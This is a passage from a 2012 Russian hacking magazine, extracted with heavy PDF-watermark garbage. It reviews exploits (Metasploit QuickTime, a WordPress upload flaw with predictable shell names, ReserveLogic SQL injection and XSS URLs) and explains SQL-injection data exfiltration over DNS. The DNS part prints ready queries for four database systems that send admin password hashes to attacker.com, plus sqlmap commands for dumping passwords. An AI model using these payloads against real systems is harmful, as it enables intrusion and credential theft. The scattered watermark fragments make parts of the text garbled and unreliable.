msf exploit(apple_quicktime_texml) > set payload windows/exec payload => windows/exec

msf exploit(apple_quicktime_texml) > set cmd calc.exe cmd => calc.exe

msf exploit(apple_quicktime_texml) > exploit

[*] Creating 'msf.xml'.

[+] msf.xml stored at /home/pikofarad/.msf4/local/msf.xml

msf exploit(apple_quicktime_texml) >

TARGETS

QuickTime 7.6.9, QuickTime 7.7.0, QuickTime 7.7.1.

SOLUTION

Существует обновление, устраняющее данную уязвимость.

3 Загрузка произвольного файла в WordPress ResumeSubmissions &Job Postings

CVSSV2

5.0

(AV:N/AC:L/AU:N/C:N/I:P/A:N)

BRIEF

Девятого июля были опубликованы детали уязвимости в плагине

WordPress Resume Submissions & Job Postings, позволяющей загружать произвольные файлы на сервер (само собой, для их последующего исполнения).

EXPLOIT

В плагине существует возможность загрузки резюме через поле «file attachment», в котором никак не фильтруется расширение файла.

Вложения загружаются в папку /wp-content/uploads/rsjp/attachments/.

Однако имя файла при загрузке изменяется, за это отвечают строки

193–197 в скрипте /wp-content/plugins/resume-submissions-job- postings/includes/functions.php:

foreach( $_FILES[$input]['error'] as $key => $error )

{

if ( $error == UPLOAD_ERR_OK )

{

$tmpName = $_FILES[$input]['tmp_name'][$key];

$ext = getExtension( $_FILES[$input]['name'][$key]);

$name = md5( date( 'Y-m-d H:i:s' ) ) . '-' .

$count . '.' . $ext;

Из этого фрагмента кода следует, что в качестве нового имени файла ис-

iTunes10—обходDEPвROP-цепочке

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

QuickTime—цикл,которыйприведеткпереполнениюбуферанастеке

пользуется MD5 от значения текущей даты на сервере, в довесок к этому прибавляется дефис и порядковый номер файла (если загружался один файл, то там всегда будет стоять единица).

Рассмотрим конкретный пример. Если время на сервере было равно 2012-07-09 21:22:20 и в эту секунду был загружен ровно один файл, то его

имя будет 813a2040e8ef7fe3661972696409b562-1.php и его можно будет обнаружить в папке /wp-content/uploads/rsjp/attachments/. Для по-

лучения даты сервера можно воспользоваться Burp Suite и посмотреть дату сервера, которая указана в 200-м ответе сервера после отправки файла. Для формирования правильного имени файла также необходимо прибавить одну секунду к времени сервера, полученного в ответе. Таким образом, если время сервера было 2012-07-09 21:22:19, то имя загружен-

ного файла будет md5("2012-07-09 21:22:20") + '-1.php'.

TARGETS

WordPress Resume Submissions & Job Postings v2.5.1 и, возможно, более ранние.

SOLUTION

Обновить WordPress Resume Submissions & Job Postings до версии 2.5.2

или более поздней.

4 Множественные уязвимости в ReserveLogic

v1.2 Booking CMS

CVSSV2

8.5

(AV:N/AC:M/Au:S/C:C/I:C/A:C)

BRIEF

В середине июня были раскрыты уязвимости в движке Reserve Logic v1.2 Booking, в числе которых стандартные и слепые SQL-инъекции, загрузка произвольных файлов, а также разношерстные XSS. За столь дерзкую раздачу взяла на себя ответственность контора Vulnerability-Lab.

EXPLOIT

1.SQL-инъекции. Эти уязвимости позволяют атакующему выполнить произвольные SQL-команды на соответствующей СУБД.

Уязвимые скрипты:

packagedetails.php;

booking_report.php;

users_report.php;

editenquiries.php;

addclientlocations.php;

addcustomers.php;

addpackages.php;

addaccomtypeavailability.php;

booking_report.php;

addspecialoffer.php.

064

ХАКЕР 09 /164/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Уязвимые параметры:

id;

rghtMenu;

pid;

orderby.

Уязвимости могут эксплуатироваться без наличия аккаунта привилегированного пользователя. Вот несколько примеров:

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/ packagedetails.php?pid=4+[SQL-INJECTION]AND+ substring(version(),1)=5

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ booking_report.php?rghtMenu=rghtMenu3&[SQL-INJECTION] Union+select+1,2,3,4,5...30--%20-0&sort=x&txtFromDate= x&txtToDate=x

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ booking_report.php?rghtMenu=rghtMenu3& orderby=-1%27[SQL-INJECTION]& sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addaccomtypeavailability.php?id=72[BLIND SQL-INJECTION]

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ booking_report.php?rghtMenu=rghtMenu3&

[BLIND SQL-INJECTION]&sort=ASC& txtFromDate=x&txtToDate=x

2.Загрузка произвольныхфайлов. Уязвимость позволяет при-

вилегированному пользователю загружать вредоносные файлы без каких-либо ограничений. Фильтрация загружаемых файлов отсутствует совершенно, поэтому атакующий может без проблем загрузить веб-шелл. Уязвимость расположена в скрипте addlocationphotos.php. Загружаемые файлы сохраняются в папку

../galleryimages/.

3.АктивныеXSS.Эти баги позволяют атакующему внедрить вредоносный скрипт на страницы приложения. Уязвимости расположе-

ны в файлах addpackages.php, add_news.php, add_banner.php или addaccomtypeavailability.php, а подверженные им параметры — это title и name. Требуется пользовательский аккаунт без каких-либо специальных привилегий.

iTunes10—вызов,приводящийкпереполнениюбуферанастеке

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзор эксплойтовw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Дляэксплуатациинеобходимозайтинаоднуизследующихстраниц:

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addpackages.php

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ add_news.php

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ add_banner.php

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addaccomtypeavailability.php

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addcustomers.php

и скопировать код своего наиполезнейшего скрипта в поля ввода

Title или Name.

4.ПассивныеXSS. Эти уязвимости позволяют атакующему перехватывать сессии других пользователей/модераторов/администраторов.

Уязвимые скрипты:

locationdetails.php;

bookings.php;

addpackages.php;

add_news.php;

addaccomtypeavailability.php;

add_banner.php;

editfeedback.php.

Подвержены уязвимостям параметры nid, id, nBId, mbSearch, postsearch, txtkey, page и did. В результате успешной атаки можно завладеть аккаунтом, провести фишинг-атаку или изменить содержимое страницы на стороне клиента. При этом нужно любыми, самыми изощренными способами заставить пользователя перейти по специально сформированной ссылке. Примеры эксплуатации:

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/ locationdetails.php?did=[XSS]

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ bookings.php?page=[XSS]

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addpackages.php?id=[XSS]

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ add_news.php?nid=[XSS]&page=1

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ addaccomtypeavailability.php?id=[XSS]&postsearch=S& cmbSearch=&page=1&txtkey=

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ add_banner.php?nBId=[XSS]&page=1

http://127.0.0.1:1337/[ȣȧȦȰ-Ȟ-reservelogic]/admin/ editfeedback.php?id=[XSS]&postsearch=S&cmbSearch=&page =1&txtkey=

TARGETS

Reserve Logic v1.2 Booking CMS и, возможно, более ранние.

SOLUTION

Обновиться до последней версии . z

ХАКЕР 09 /164/ 2012

065

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

Мирослав Штампар (twitter.com/stamparm)w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SQL-ИНЪЕКЦИИ ЧЕРЕЗDNS

ПОЛУЧАЕМ СОДЕРЖИМОЕ БАЗЫ ДАННЫХ ЧЕРЕЗ DNS

SQL-инъекции — одна из самых распространенных уязвимостей современных веб-приложений. Разработчики постоянно закрывают массу дырок, связанных с этой проблемой, но хакеры по-прежнему находят способы эксплуатации этой старой как мир уязвимости. Сегодня я расскажу тебе о не новой, но действительно крутой технике извлечения данных из SQL-баз с использованием DNS-запросов, которая в умелых руках может стать грозным оружием любого современного пентестера. Готов? Поехали!

ВВЕДЕНИЕ

Под SQL-инъекцией подразумевается внедрение произвольного SQL-кода в запрос к СУБД для получения доступа к данным таблиц. На практике это зачастую выглядит как специально сформированный запрос к странице вида http://target.com/get_data.asp?id=1, где вместо 1 в параметре id хакер пытается «пропихнуть» серию из SQL-команд, которая позволяет получить доступ к содержимому базы данных.

В зависимости от логики работы уязвимого приложения, техники эксплуатации SQL-инъекций принято делить на три большие группы: классические, слепые и абсолютно слепые.

Одно из отличий слепых инъекций от классических состоит в том, что для эксплуатации они требуют очень много времени и большое количество запросов, ведь данные «вытягиваются» бит за битом. Поэтому атакующему обычно необходимо отправить десятки тысяч запросов, чтобы вытянуть содержимое таблички среднего размера, что может быть замечено бдительным администратором уязвимой системы.

Однако есть способы, позволяющие значительно увеличить скорость получения данных из СУДБ при эксплуатации слепых инъекций, при этом снизив количество запросов к самой базе. Об одном из таких методов мы сегодня и поговорим.

WARNING

Вся информация предоставлена исключительно в ознакомительных

целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный

материалами данной статьи.

066

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

SQL-инъекции черезwDNSClick

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Процесс резолва доменного имени

О ЧЕМ РЕЧЬ?

Класс атак, техника эксплуатации которых позволяет получить нам искомый выигрыш во времени, в англоязычном интернете обычно описывается как DNS Exfiltration. Изначально понятие «exfiltration» было военным термином, под которым подразумевалось возвращение агента разведки на родину. В Сети под этим словом в контексте ИБ обычно понимается незаконное извлечение данных из информационных систем. При использовании этой техники в контексте SQL-инъекций появляется способ извлечения данных через DNS, при котором возможно пренебречь ожиданием ответа от серверного приложения при эксплуатации слепых инъекций и получить результаты выполнения своих SQL-запросов (например, имена пользователей и пароли), отправляя на свой DNS-сервер DNS-запросы, содержащие данные из СУБД уязвимого приложения. Использование этой техники дает ряд неоспоримых преимуществ по сравнению с time-based или true/false техниками: во-первых, нам не требуется дожидаться ответа от веб-сервера, что существенно ускоряет процесс, во-вторых, за один запрос мы можем вытащить много больше данных. В-третьих, техника не накладывает ограничений на нестандартные типы данных, таблицы и названия столбцов.

DNS-запросы мы будем передавать по протоколу DNS, что неудивительно :). Это относительно простой протокол. Запрос, выполняемый DNS-клиентом, и соответствующий ему ответ, предоставляемый DNS-сервером, используют один и тот же формат DNS-сообщений. За исключением трансферов зон, использующих для надежности протокол TCP. DNS-сообщения инкапсулированы в UDP-датаграммы — минимальные единицы информации в протоколе UDP для обмена информацией (bit.ly/MtoIDx) на транспортном уровне модели OSI (bit.ly/qqHbRE). Для любого человека, осуществляющего мониторинг машины с помощью инструмента, подобного Wireshark, скрытый канал передачи данных, выполненный поверх DNS, будет выглядеть как небольшие серии всплеска DNS-трафика.

В основе работы такого неконтролируемого канала передачи данных лежит процесс передачи DNS-запросов от безопасных систем (локальных компьютеров) к произвольным DNS-серверам, расположенным в интернете. Даже если предположить, что выход во внешнюю сеть запрещен, но целевая машина способна резолвить произвольные доменные имена, то передача данных возможна средствами отправляемых DNS-запросов.

Передача данных через DNS при SQL injection атаках

ГОТОВИМ УСПЕШНУЮ АТАКУ

Предпосылкой для успешной передачи данных через DNS из БД уязвимого приложения служит наличие в СУБД подпрограмм, которые прямо или косвенно инициируют процесс резолва доменных имен, например для домена attacker.com. Любая функция, принимающая в качестве параметра сетевой адрес, скорее всего, подойдет для этой цели. Следует отметить: нам безразлично, что делает эта функция и что она возвращает в качестве результата, главное, чтобы она инициализировала процесс резолва доменных имен. И напротив, мы должны заботиться, чтобы такие функции были вызваны корректно (без синтаксических ошибок) через SQL-инъекцию и чтобы в качестве входящих параметров мы какимлибо образом передали результат нашего SQL-подзапроса (например, пароль администратора). Необходимо единственное условие: у нас должен быть контроль над официальным DNS-сервером для домена, на который будут отправляться запросы.

ЧЕРЕЗ DNS К ЗВЕЗДАМ

Не будем углубляться в теорию: я думаю, ты уже прекрасно понял, в чем основной принцип атаки, и уже бежишь настраивать DNS на своем дедике. Времени это займет не так много. Но для

МИРОСЛАВ ШТАМПАР И SQLMAP

Мирослав Штампар — профессиональный разработчик программного обеспечения и исследователь в области информационной безопасности. Родился в 1982 году в городе Вуковар, Хорватия; получил степень магистра компьютерных наук на факультете электротехники и информатики Загребского университета в 2005 году. В настоящее время работает над докторской диссертацией на тему безопасности и организации параллельной обработки данных. Стремясь заниматься вопросами, связанными с безопасностью, он стал одним из авторов известного открытого проекта sqlmap (www.sqlmap.org), посвященного автоматическому обнаружению и эксплуатации уязвимостей типа «Выполнение SQL-кода», и с декабря 2009 года постоянно участвует в его развитии. Блог Мирослава — bit.ly/KWCO0d.

ХАКЕР 09 /164/ 2012

067

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

GET STARTED С SQLMAP

Работать с sqlmap с поддержкой DNS очень просто:

1. Запусти sqmap для тестирования наличия инъекции:

~username$: python sqlmap.py -u \

"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"

2. Теперь используй ключ --dns-domain, чтобы указать sqlmap, что мы хотим использовать передачу данных через DNS-трафик:

~username$: sudo python sqlmap.py -u \

"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" \

--dns-domain="foobar.com" --passwords -v 3

Скрипт пошагово извлечет данные, показывая всю необходимую информацию о количестве запросов и полученных пакетах. Информацию о настройке собственного DNSсервера ищи в боковых выносах.

начала давай рассмотрим практические примеры передачи данных, на примере упомянутого пароля администратора, через механизм резолва доменных имен для четырех распространенных СУБД. В примерах будет использоваться домен attacker.com — доменное имя, над DNS которого мы имеем полный контроль. Полный контроль в данном случае необходим для того, чтобы мы могли получить результаты выполнения SQL-подзапросов из логов DNS-сервиса:

Microsoft SQL Server

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1 master.dbo.fn_ varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa')+'.attacker.com'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

Oracle

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.attacker.com',80) FROM DUAL;

MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.attacker.com\\ foobar'));

PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $$

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||

query_result||E'.attacker.com\\\\foobar.txt\''; EXECUTE exec_cmd;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Каждый из приведенных примеров может быть проэксплуатирован через соответствующую уязвимую к SQL-инъекции страницу. Например, если в качестве СУБД используется Oracle, а уязвимость присутствует в GET-параметре id, то примерный вектор атаки будет выглядеть так:

http://www.target.com/vuln.php?id=(SELECT DBMS_LDAP.INIT(

(SELECT password FROM SYS.USER$ WHERE name='SYS')

||'.attacker.com',80) FROM DUAL)--

Такой же подход применим и к MySQL. В случае Microsoft SQL Server и PostgreSQL необходимо использовать комбинированную технику, так как они требуют для выполнения выражение, состоящее из нескольких запросов. Таким образом, для Microsoft SQL Server запрос будет следующим:

http://www.target.com/vuln.php?id=1;DECLARE @host

varchar(1024);

SELECT @host=(SELECT TOP 1 master.dbo.fn_ varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa')+'.attacker.com';

EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

Необходимо упомянуть одну важную деталь — для успешной организации DNS-туннеля в Microsoft SQL Server, PostgreSQL и MySQL эти СУБД должны поддерживать пути в формате UNC, что, в общем-то, означает, что такой туннель можно создать, если на сервере в качестве бэкенда будет использоваться ОС Microsoft Windows.

ОТ СЛОВ К ДЕЛУ

Одной из самых классных реализаций этой техники является великолепная тулза sqlmap с поддержкой использования DNS-запросов для передачи данных, которую мы и будем возьмем на вооружение. Эта фича была добавлена с ревизии 5086 ветви v1.0-dev в официальном GIT-репозитории. С помощью опции --dns-domain

ты можешь включить поддержку передачи данных через DNSтрафик и указать sqlmap, что все выполняемые запросы на резолв имени должны указывать на заданный домен (например, --dns- domain=attacker.com).

Запись DNS-сервера (например, ns1.attacker.com) должна содержать IP-адрес машины, на которой будет запущен sqlmap.

Фрагмент вывода команды sqlmap --dns-domain

068

ХАКЕР 09 /164/ 2012

Соседние файлы в папке журнал хакер